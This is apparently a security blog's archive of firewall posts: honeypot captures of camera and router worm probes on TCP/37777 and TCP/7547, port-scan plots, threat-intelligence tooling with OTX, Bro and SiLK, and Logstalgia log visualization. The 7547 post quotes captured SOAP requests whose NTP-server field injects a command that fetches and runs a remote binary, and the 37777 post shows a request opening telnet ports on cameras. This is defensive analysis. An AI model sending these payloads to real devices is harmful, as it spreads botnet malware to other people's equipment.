Archive for the ‘firewall’ tag

Probes towards TCP/37777  

Posted at 8:43 am in Uncategorized

Seems a new bot, possibly a strain of Mirai, is in the wild, targeting TCP port 37777. The last 24 hours I’ve seen close to 200 different IP addresses trying to connect to this port. DShield is also registering an increase.

At the moment I can only guess what kind of product they’re probing for, but looking up the port results in quite a few hits regarding remote access to DVRs (Digital Video Recorders) and IP cameras. Some of the links indicate that this could be the Q-See products. The request below seems to map perfectly to uploading UPnP config to AmCrest and/or Dahua based cameras.

Allowing the probes access to my honeypot gives me the the chance to analyze the request, which in essence looks like this:

{
  "Enable": 1,
  "MapTable": [
    {
      "Enable": 1,
      "InnerPort": 85,
      "OuterPort": 85,
      "Protocol": "TCP",
      "ServiceName": "HTTP"
    },
    {
      "Enable": 1,
      "InnerPort": 37777,
      "OuterPort": 37777,
      "Protocol": "TCP",
      "ServiceName": "TCP"
    },
    {
      "Enable": 1,
      "InnerPort": 37778,
      "OuterPort": 37778,
      "Protocol": "UDP",
      "ServiceName": "UDP"
    },
    {
      "Enable": 1,
      "InnerPort": 554,
      "OuterPort": 554,
      "Protocol": "TCP",
      "ServiceName": "RTSP"
    },
    {
      "Enable": 1,
      "InnerPort": 23,
      "OuterPort": 23231,
      "Protocol": "TCP",
      "ServiceName": "TELNET"
    },
    {
      "Enable": 1,
      "InnerPort": 23,
      "OuterPort": 23123,
      "Protocol": "TCP",
      "ServiceName": "NEW"
    }
  ]
}

 

Looks pretty much like someone’s trying to enable remote access through inbound NAT, using a UPnP config. I’ve found the fields in the UPnP requests in documentation from Dahua and AmCrest. Speculation only at this time, but this could be for allowing shell access to a unit that’s so far been configured for HTTP access only.

Note that the OuterPort for telnet access maps nicely to what we’ve seen from Mirai bots earlier. With this config sample we should also keep our eyes open on TCP ports 85 and 23123 as well.

Hex dump of the request:

00000000 c1 00 00 00 00 14 00 00 63 6f 6e 66 69 67 00 00 ........ config..
00000010 31 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 1....... ........
00000020 7b 20 22 45 6e 61 62 6c 65 22 20 3a 20 31 2c 20 { "Enabl e" : 1, 
00000030 22 4d 61 70 54 61 62 6c 65 22 20 3a 20 5b 20 7b "MapTabl e" : [ {
00000040 20 22 45 6e 61 62 6c 65 22 20 3a 20 31 2c 20 22 "Enable " : 1, "
00000050 49 6e 6e 65 72 50 6f 72 74 22 20 3a 20 38 35 2c InnerPor t" : 85,
00000060 20 22 4f 75 74 65 72 50 6f 72 74 22 20 3a 20 38 "OuterP ort" : 8
00000070 35 2c 20 22 50 72 6f 74 6f 63 6f 6c 22 20 3a 20 5, "Prot ocol" : 
00000080 22 54 43 50 22 2c 20 22 53 65 72 76 69 63 65 4e "TCP", " ServiceN
00000090 61 6d 65 22 20 3a 20 22 48 54 54 50 22 20 7d 2c ame" : " HTTP" },
000000A0 20 7b 20 22 45 6e 61 62 6c 65 22 20 3a 20 31 2c { "Enab le" : 1,
000000B0 20 22 49 6e 6e 65 72 50 6f 72 74 22 20 3a 20 33 "InnerP ort" : 3
000000C0 37 37 37 37 2c 20 22 4f 75 74 65 72 50 6f 72 74 7777, "O uterPort
000000D0 22 20 3a 20 33 37 37 37 37 2c 20 22 50 72 6f 74 " : 3777 7, "Prot
000000E0 6f 63 6f 6c 22 20 3a 20 22 54 43 50 22 2c 20 22 ocol" : "TCP", "
000000F0 53 65 72 76 69 63 65 4e 61 6d 65 22 20 3a 20 22 ServiceN ame" : "
00000100 54 43 50 22 20 7d 2c 20 7b 20 22 45 6e 61 62 6c TCP" }, { "Enabl
00000110 65 22 20 3a 20 31 2c 20 22 49 6e 6e 65 72 50 6f e" : 1, "InnerPo
00000120 72 74 22 20 3a 20 33 37 37 37 38 2c 20 22 4f 75 rt" : 37 778, "Ou
00000130 74 65 72 50 6f 72 74 22 20 3a 20 33 37 37 37 38 terPort" : 37778
00000140 2c 20 22 50 72 6f 74 6f 63 6f 6c 22 20 3a 20 22 , "Proto col" : "
00000150 55 44 50 22 2c 20 22 53 65 72 76 69 63 65 4e 61 UDP", "S erviceNa
00000160 6d 65 22 20 3a 20 22 55 44 50 22 20 7d 2c 20 7b me" : "U DP" }, {
00000170 20 22 45 6e 61 62 6c 65 22 20 3a 20 31 2c 20 22 "Enable " : 1, "
00000180 49 6e 6e 65 72 50 6f 72 74 22 20 3a 20 35 35 34 InnerPor t" : 554
00000190 2c 20 22 4f 75 74 65 72 50 6f 72 74 22 20 3a 20 , "Outer Port" : 
000001A0 35 35 34 2c 20 22 50 72 6f 74 6f 63 6f 6c 22 20 554, "Pr otocol" 
000001B0 3a 20 22 54 43 50 22 2c 20 22 53 65 72 76 69 63 : "TCP", "Servic
000001C0 65 4e 61 6d 65 22 20 3a 20 22 52 54 53 50 22 20 eName" : "RTSP" 
000001D0 7d 2c 20 7b 20 22 45 6e 61 62 6c 65 22 20 3a 20 }, { "En able" : 
000001E0 31 2c 20 22 49 6e 6e 65 72 50 6f 72 74 22 20 3a 1, "Inne rPort" :
000001F0 20 32 33 2c 20 22 4f 75 74 65 72 50 6f 72 74 22 23, "Ou terPort"
00000200 20 3a 20 32 33 32 33 31 2c 20 22 50 72 6f 74 6f : 23231 , "Proto
00000210 63 6f 6c 22 20 3a 20 22 54 43 50 22 2c 20 22 53 col" : " TCP", "S
00000220 65 72 76 69 63 65 4e 61 6d 65 22 20 3a 20 22 54 erviceNa me" : "T
00000230 45 4c 4e 45 54 22 20 7d 2c 20 7b 20 22 45 6e 61 ELNET" } , { "Ena
00000240 62 6c 65 22 20 3a 20 31 2c 20 22 49 6e 6e 65 72 ble" : 1 , "Inner
00000250 50 6f 72 74 22 20 3a 20 32 33 2c 20 22 4f 75 74 Port" : 23, "Out
00000260 65 72 50 6f 72 74 22 20 3a 20 32 33 31 32 33 2c erPort" : 23123,
00000270 20 22 50 72 6f 74 6f 63 6f 6c 22 20 3a 20 22 54 "Protoc ol" : "T
00000280 43 50 22 2c 20 22 53 65 72 76 69 63 65 4e 61 6d CP", "Se rviceNam
00000290 65 22 20 3a 20 22 4e 45 57 22 20 7d 20 5d 20 7d e" : "NE W" } ] }
000002A0 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ........ ........

 

(More zero padding below)

UPDATE: This could be based on a four year old vulnerability with Dahua devices: http://cve.circl.lu/cve/CVE-2013-6117

Written by bjorn on January 10th, 2017

Tagged with , , , , , , ,

A different kind of Christmas scan  

Posted at 11:54 am in Uncategorized

Those familiar with port scanning tools (like nmap), have probably heard of the Xmas scan option. This scanning strategy sets some unusual TCP flags, as the man page describes it:

Sets the FIN, PSH, and URG flags, lighting the packet up like a Christmas tree.

Yesterday, my firewall was systematically scanned with a combination of IPv4/IPv6 and TCP/UDP  — not in Xmas scan mode — but the resulting Fireplot sure set the Christmas mood anyway!

Merry Christmas!

Merry Christmas!

Written by bjorn on December 15th, 2016

Tagged with , , , , , ,

TCP/7547 on the rise  

Posted at 8:05 am in Uncategorized

Since yesterday I’ve registered a significant increase in probes for TCP port 7547. Over the last 12 hours, more than 1000 different IP addresses have tried to contact one of my networks. 1000 probes is of course no big deal, but the port that’s suddenly become of interest can be.

The image below shows the newly discovered activity. Click the image to zoom. The probes for TCP/7547 starts to stand out just before 15:00 (Norwegian time zone).

TCP port 7547 has suddenly become interesting.

TCP port 7547 has suddenly become interesting.

The probing happens primarily from Brazilian IP addresses. Below is a table of top 10 registered probes after around 12 hours.

552 Brazil
186 United Kingdom
 50 Ireland
 42 Turkey
 34 Iran, Islamic Republic of
 30 Finland
 23 Italy
 21 Chile
 20 Thailand
 10 United States

 

Update: This looks like yet another router vulnerability. These are the headers captured by directing the traffic to one of my honeypots:

POST /UD/act?1 HTTP/1.1
Host: 127.0.0.1:7547
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers
Content-Type: text/xml
Content-Length: 526
<?xml version="1.0"?>
<SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/"
 SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> 
<SOAP-ENV:Body>
 <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1">
  <NewNTPServer1>`cd /tmp;wget http://l.ocalhost.host/2;chmod 777 2;./2`</NewNTPServer1>
  <NewNTPServer2></NewNTPServer2>
  <NewNTPServer3></NewNTPServer3>
  <NewNTPServer4></NewNTPServer4>
  <NewNTPServer5></NewNTPServer5>
 </u:SetNTPServers>
</SOAP-ENV:Body>
</SOAP-ENV:Envelope>

 

Based on the above, this looks like https://devicereversing.wordpress.com/ and https://www.exploit-db.com/exploits/40740/.

Update 2: Now the worm even cleans up after itself. The newest strain performs three requests; the first two downloads binaries while the third one sets the NTP server back to an IP address:

<?xml version="1.0"?>
<SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/"
 SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">
 <SOAP-ENV:Body>
 <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1">
 <NewNTPServer1>`cd /tmp;wget http://tr069.pw/1;chmod 777 1;./1`</NewNTPServer1>
 <NewNTPServer2/>
 <NewNTPServer3/>
 <NewNTPServer4/>
 <NewNTPServer5/>
 </u:SetNTPServers>
 </SOAP-ENV:Body>
</SOAP-ENV:Envelope>

 

<?xml version="1.0"?>
<SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/"
 SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">
 <SOAP-ENV:Body>
 <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1">
 <NewNTPServer1>`cd /tmp;wget http://tr069.pw/2;chmod 777 2;./2`</NewNTPServer1>
 <NewNTPServer2/>
 <NewNTPServer3/>
 <NewNTPServer4/>
 <NewNTPServer5/>
 </u:SetNTPServers>
 </SOAP-ENV:Body>
</SOAP-ENV:Envelope>

 

<?xml version="1.0"?>
<SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/"
 SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">
 <SOAP-ENV:Body>
 <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1">
 <NewNTPServer1>24.56.178.140</NewNTPServer1>
 <NewNTPServer2/>
 <NewNTPServer3/>
 <NewNTPServer4/>
 <NewNTPServer5/>
 </u:SetNTPServers>
 </SOAP-ENV:Body>
</SOAP-ENV:Envelope>

Written by bjorn on November 27th, 2016

Tagged with , , ,

The inherent risks of visualizing firewall probes  

Posted at 8:18 am in Uncategorized

For some time now, I’ve been graphing all unsolicited network traffic destined for my network. For instance, it’s quite useful for detecting slow scans, which will show up as the diagonally aligned green scatter points in this plot (click to enlarge).

Slow_portscan

Slow portscan, from high ports to low ports

Other scans and probes often happen faster, when the attacker isn’t much concerned about being detected. These will appear in the plot as a lot of vertically aligned scatter points. In the plot shown below, the attackers have scanned a limited set of ports for about 30 minutes.

Fast_portscan

After writing a previous blog article about the plots as well as discussing the setup with my colleagues, and even showing what can happen with such a feature, there was really no reason to act surprised when weird patterns started to appear in the firewall plots.

The first synchronized portscan resulted in a chicken. Because of the logarithmic scale of the plot, the attacksdrawings will have higher precision when aiming for the high ports.

Chicken

Then after a few weeks of just the normal hostile activity and a few not-so-successful creative port scans, a very well defined ant suddenly appeared.

Antz

In the firewall plot, TCP connections will be plotted as green and UDP connections will be plotted as light blue. After a few poorly disguised questions regarding whether I was plotting other protocols and, if so, which colors they would be, it became evident that some new plan was being hatched. And, lo and behold:

Ghosts

I’m already considering implementing additional colour schemes to separate IPv4 from IPv6, and I can probably just throw in the towel and ask my colleagues which colours they will need for their next piece of firewall art 🙂

Written by bjorn on April 27th, 2016

Tagged with , ,

Threat intelligence: OTX, Bro, SiLK, BIND RPZ, OSSEC  

Posted at 8:15 am in Uncategorized

Building a toolbox around threat intelligence can be done with freely available tools. Shared information about malicious behaviour allows you to detect and sometimes prevent activity from – and to – Internet resources that could compromise your systems’ security.

I’ve already described how to use lists of malicious domain names in a BIND RPZ (Response Policy Zone). Adding an information feed like AlienVault OTX (Open Threat Exchange) to the mix further extends the awareness and detection capabilities.

AlienVault is probably most known for their SIEM (Security Information and Event Management) named Unified Security Management™, with a scaled-down open source version named Open Source Security Information and Event Management (OSSIM). They also provide a platform for sharing threat intelligence, namely Open Threat Exchange (OTX). OTX is based on registered users sharing security information, for instance domains and hostnames involved in phishing scams, IP addresses performing brute force SSH login attempts, etc. The information is divided into so-called pulses, each pulse a set of information items considered part of the same malicious activity. For example, a pulse can contain URLs to a site spreading drive-by malware, the IP addresses of their C&C, along with hashes of the files. By selecting which pulses and/or users to subscribe to, the registered information in each pulse will be available through a feed from their API.

Carefully reviewing which users/pulses to subscribe to – there’s always a risk of false positives – I’m now regularly receiving an updated feed. This feed is parsed and currently split into two files: One RPZ file containing hostnames and domains for use with BIND, and one file containing IP addresses for use with SiLK.

As explained in an earlier post, OSSEC will let me know if someone (or something) makes DNS requests for a domain or hostname registered as malicious. Extending this to include the DNS records obtained from OTX was simply a matter of defining a new RPZ in BIND. Depending on how this is used (block? redirect? alert?), a whitelist should be in place to prevent accidental blocking of known good domains. One pulse describes all the Internet resources a client infected by a certain exploit will contact, including some certificate authorities which are not necessarily considered evil.

The file with IP addresses can be used directly with a firewall, by logging or even blocking or throttling traffic to/from the IP addresses in question. For rear-view mirror analysis it can be used with SiLK, to find out if there has been any network traffic to or from any of these addresses. To do this, you will first have to create an IP set with the command rwsetbuild:

# rwsetbuild /some/path/ip-otx.txt /some/path/ip-otx.set

 

Now we can use this set file in our queries. For this query I’ve manually selected just a few inbound matches:

# rwfilter --proto=0-255 --start-date=2016/01/01 \
  --sipset=/some/path/ip-otx.set --type=all \
  --pass=stdout | rwcut -f 1-5
            sIP|            dIP|sPort|dPort|pro|
   185.94.111.1|  my.ip.network|60264|   53| 17|
   216.243.31.2|  my.ip.network|33091|   80|  6|
   71.6.135.131|  my.ip.network|63604|  993|  6|
   71.6.135.131|  my.ip.network|60633|  993|  6|
   71.6.135.131|  my.ip.network|60888|  993|  6|
   71.6.135.131|  my.ip.network|32985|  993|  6|
   71.6.135.131|  my.ip.network|33060|  993|  6|
   71.6.135.131|  my.ip.network|33089|  993|  6|
   71.6.135.131|  my.ip.network|33103|  993|  6|
   71.6.135.131|  my.ip.network|33165|  993|  6|
   71.6.135.131|  my.ip.network|33185|  993|  6|
   71.6.135.131|  my.ip.network|33614|  993|  6|
   71.6.135.131|  my.ip.network|33750|  993|  6|
   71.6.135.131|  my.ip.network|60330|  993|  6|
  185.130.5.224|  my.ip.network|60000|   80|  6|
  185.130.5.224|  my.ip.network|60000|   80|  6|
  198.20.99.130|  my.ip.network|    0|    0|  1|
  185.130.5.201|  my.ip.network|43176|   53| 17|
  129.82.138.44|  my.ip.network|    0|    0|  1|
  185.130.5.224|  my.ip.network|60000|   80|  6|
  185.130.5.224|  my.ip.network|60000|   80|  6|

 

When you need more details about the listed address or other indicators, OTX provides a search form to find the pulse(s) in which the indicator was registered.

OTX can be used with Bro as well, and there are at least two Bro scripts for updating the feeds from the OTX API. The one that works for me is https://github.com/hosom/bro-otx. The script will make Bro register activity that matches indicators from an OTX pulse.

Sample log entries, modified for readability:

my.ip.network 59541 some.dns.ip    53 - - - union83939k.wordpress.com
                                            Intel::DOMAIN DNS::IN_REQUEST
my.ip.network 40453 54.183.130.144 80 - - - ow.ly
                                            Intel::DOMAIN HTTP::IN_HOST_HEADER
74.82.47.54   47235 my.ip.network  80 - - - 74.82.47.54
                                            Intel::ADDRConn::IN_ORIG

 

This article mentions just a few components that can be combined. Obviously there’s a lot of possibilities for integrating and interfacing between different systems. There are several companies that provide threat intelligence feeds, some for free and some for paying customers. Depending on the product(s), a SIEM would be able to combine and correlate the different kinds of threat intelligence to detected events.

Written by bjorn on March 9th, 2016

Tagged with , , , , , , , , , ,

Live visualizing Mikrotik firewall traffic with Logstalgia  

Posted at 9:54 pm in Uncategorized

Previously I’ve written about visualizing firewall activity. Revitalizing a fireplot graphing tool gives a nice day-to-day overview, but after being reminded of Logstalgia in this Imgur post I wanted to give live visualization a shot.

Logstalgia is a neat tool for visualizing activity, by feeding it log files or live feeds. It’s originally designed for parsing web server logs, but it also accepts a generic format that allows for other purposes as well. By writing a short Perl script that acts like a syslog server (receiver) and converting the input to a format that Logstalgia accepts, my Mikrotik router is now live reporting any connection attempt to or through the firewall. For the visualization below I triggered a portscan to create some activity, or the video would be rather boring.

To make this work, the firewall must somehow identify traffic that’s being denied (unless you only log blocked traffic). The script will then pass only these log records to Logstalgia. I’ve been testing this with a Mikrotik device, but any firewall able to log to or through syslog will work fine.

Original syslog input

Feb 6 21:42:36 BLOCK: in:ether1 out:(none), src-mac 00:00:00:6a:f3:9c,
proto ICMP (type 8, code 0), 38.71.2.11->192.168.10.10, len 28

 

Logstalgia formatted output:

1454791356|38.71.2.11|ICMP:8/0|200|10

 

I’m starting the perl script and Logstalgia like this:

./syslog2logstalgia | logstalgia -800x640 --disable-progress -x \
--no-bounce --hide-response-code --sync \
-g "TCP,URI=TCP,45" -g "UDP,URI=UDP,45" -g "ICMP,URI=ICMP,10" \
--hide-paddle

 

Note that visualizing firewall logs with Logstalgia has been done by a lot of other people. Howtos for other firewall products may be available via your favourite search engine.

Written by bjorn on February 6th, 2016

Tagged with , , , , ,